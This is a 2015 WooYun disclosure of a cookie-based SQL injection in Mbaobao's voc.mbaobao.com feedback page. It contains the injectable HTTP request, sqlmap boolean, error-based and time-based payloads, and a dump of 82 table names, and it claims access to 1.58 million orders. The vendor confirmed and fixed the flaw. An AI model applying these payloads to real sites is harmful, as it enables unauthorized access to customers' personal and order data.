当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149280

漏洞标题:麦包包某站Cookie存在SQL注入漏洞(涉及百万订单信息)

相关厂商:麦包包

漏洞作者: 中央军

提交时间:2015-10-25 11:05

修复时间:2015-12-11 15:12

公开时间:2015-12-11 15:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-25: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

详细说明:

GET /feedback/ HTTP/1.1
Cookie: PHPSESSID=41bjh1522q65o10krn5mgutr20; session_id=41bjh1522q65o10krn5mgutr20; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; sto-id-20480-www.mbaobao.com-sg=GHACAHAKFAAA; login_user_id=1*; tid=635813467344587495; online_type=1; bmw=4846a380d18e4af783aa0ce6e0bcbf12; login_user_id=0; login_user_id=0
Host: voc.mbaobao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

注入点:Cookie中的login_user_id参数

11.jpg

18个库:

22.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: PHPSESSID=41bjh1522q65o10krn5mgutr20; session_id=41bjh1522q65o10krn5mgutr20; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; sto-id-20480-www.mbaobao.com-sg=GHACAHAKFAAA; login_user_id=(SELECT (CASE WHEN (9164=9164) THEN 9164 ELSE 9164*(SELECT 9164 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)); tid=635813467344587495; online_type=1; bmw=4846a380d18e4af783aa0ce6e0bcbf12; login_user_id=0; login_user_id=0
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: PHPSESSID=41bjh1522q65o10krn5mgutr20; session_id=41bjh1522q65o10krn5mgutr20; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; sto-id-20480-www.mbaobao.com-sg=GHACAHAKFAAA; login_user_id=1 AND (SELECT 2041 FROM(SELECT COUNT(*),CONCAT(0x7176626b71,(SELECT (ELT(2041=2041,1))),0x716a717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a); tid=635813467344587495; online_type=1; bmw=4846a380d18e4af783aa0ce6e0bcbf12; login_user_id=0; login_user_id=0
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: PHPSESSID=41bjh1522q65o10krn5mgutr20; session_id=41bjh1522q65o10krn5mgutr20; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; tid=635813467344587495; bmw=4846a380d18e4af783aa0ce6e0bcbf12; online_type=1; sto-id-20480-www.mbaobao.com-sg=GHACAHAKFAAA; login_user_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))rusd); tid=635813467344587495; online_type=1; bmw=4846a380d18e4af783aa0ce6e0bcbf12; login_user_id=0; login_user_id=0
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: db_baobao178
[82 tables]
+---------------------------------------+
| basic_encrypted_data |
| mshop_order_queue |
| tbl_ads |
| tbl_announcement |
| tbl_apply |
| tbl_apps_log |
| tbl_attestation |
| tbl_complaint |
| tbl_configure |
| tbl_delivery |
| tbl_delivery_price |
| tbl_download |
| tbl_faq |
| tbl_goods |
| tbl_goods_attribute |
| tbl_goods_attribute_list |
| tbl_goods_bk20120109 |
| tbl_goods_brand |
| tbl_goods_category |
| tbl_goods_deliver |
| tbl_goods_down_log |
| tbl_goods_forbidden |
| tbl_goods_group |
| tbl_goods_hot_sale |
| tbl_goods_image |
| tbl_goods_order |
| tbl_goods_order_item |
| tbl_goods_order_pay |
| tbl_goods_permission_group |
| tbl_goods_permission_group_bk20120109 |
| tbl_goods_promotion |
| tbl_goods_promotion_favorable |
| tbl_goods_sale_list |
| tbl_goods_search_keyword |
| tbl_goods_special |
| tbl_goods_stock_v2 |
| tbl_goods_supply_log |
| tbl_letter |
| tbl_letter_log |
| tbl_links |
| tbl_maibao |
| tbl_maibao_type |
| tbl_manager |
| tbl_material_download |
| tbl_new_seckill |
| tbl_news |
| tbl_news_category |
| tbl_order_favorable |
| tbl_order_returned |
| tbl_order_returned_goods |
| tbl_question |
| tbl_question_data |
| tbl_question_notice |
| tbl_question_quickreply |
| tbl_region |
| tbl_return_goods_item |
| tbl_return_order |
| tbl_return_order_amount |
| tbl_return_order_item |
| tbl_salers |
| tbl_seckill |
| tbl_split_shipment |
| tbl_split_shipment_item |
| tbl_stockout_register |
| tbl_taobao_order_tmp |
| tbl_update_revision_survey |
| tbl_user |
| tbl_user_activity_apply |
| tbl_user_alone_discount |
| tbl_user_bk20120106 |
| tbl_user_bk20120109 |
| tbl_user_bk20120209 |
| tbl_user_bk20120214 |
| tbl_user_bk20120218 |
| tbl_user_consignee |
| tbl_user_consignee_20110602 |
| tbl_user_favorites |
| tbl_user_level |
| tbl_user_vote |
| tbl_user_xiyou |
| tbl_vote |
| xiyou_test4 |
+---------------------------------------+

158万订单信息:

55.png

取一个数据来证明:

99.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 中央军@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-27 15:10

厂商回复:

已修复,感谢洞主.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-10-25 13:14 | 心云 ( 普通白帽子 | Rank:143 漏洞数:48 | 闲的时候来一发)

    666